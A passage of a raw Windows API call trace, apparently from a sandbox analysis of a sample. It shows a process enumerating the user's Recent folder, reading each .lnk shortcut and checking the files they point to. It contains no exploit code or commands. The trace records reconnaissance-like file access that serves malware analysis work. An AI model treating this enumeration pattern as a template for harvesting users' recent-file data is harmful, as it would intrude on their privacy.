ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x98349ce0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x98349ce0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="cLDO9CeqDqvyGp18uI9o.flv.lnk", cAlternateFileName="CLDO9C~1.LNK")) returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckvWAPm3 YLx5ut.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x64 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x64 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x64 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x63 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cLDO9CeqDqvyGp18uI9o.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x63 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x63 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.631] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk", len=0x63 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk") returned 1 [0076.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cldo9ceqdqvygp18ui9o.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.632] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x424 [0076.632] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c434, nNumberOfBytesToRead=0x424, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c434*, lpNumberOfBytesRead=0x18e2f8*=0x424, lpOverlapped=0x0) returned 1 [0076.632] CloseHandle (hObject=0x3f8) returned 1 [0076.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cLDO9CeqDqvyGp18uI9o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cldo9ceqdqvygp18ui9o.flv"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.633] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x55d4 [0076.633] CloseHandle (hObject=0x3f8) returned 1 [0076.633] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da2bfe0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9da2bfe0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9da2bfe0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="cplLZefa0txn.lnk", cAlternateFileName="CPLLZE~1.LNK")) returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cLDO9CeqDqvyGp18uI9o.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk") returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk", len=0x58 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk") returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk") returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk", len=0x57 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk") returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\cplLZefa0txn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk") returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk", len=0x57 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk") returned 1 [0076.633] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk") returned 1 [0076.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cpllzefa0txn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.633] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xea3 [0076.633] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c494, nNumberOfBytesToRead=0xea3, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c494*, lpNumberOfBytesRead=0x18e2f8*=0xea3, lpOverlapped=0x0) returned 1 [0076.634] CloseHandle (hObject=0x3f8) returned 1 [0076.635] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.635] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xaecd20d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xaecd20d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cplLZefa0txn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations", len=0x5a | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.635] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x455c15c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", len=0x59 | out: pbstr=0x455c15c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0076.636] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf9be40, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cf9be40, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cf9be40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CWuI5tTSoD.lnk", cAlternateFileName="CWUI5T~1.LNK")) returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk", len=0x56 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk", len=0x55 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\CWuI5tTSoD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk", len=0x55 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk") returned 1 [0076.636] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk") returned 1 [0076.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cwui5ttsod.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.637] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19c1 [0076.637] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5f8, nNumberOfBytesToRead=0x19c1, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5f8*, lpNumberOfBytesRead=0x18e2f8*=0x19c1, lpOverlapped=0x0) returned 1 [0076.637] CloseHandle (hObject=0x3f8) returned 1 [0076.638] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.638] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e176340, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e176340, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e176340, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cy1YKeDsElTUF.lnk", cAlternateFileName="CY1YKE~1.LNK")) returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CWuI5tTSoD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\Cy1YKeDsElTUF.lnk") returned 1 [0076.638] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Cy1YKeDsElTUF.lnk", len=0x58 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS 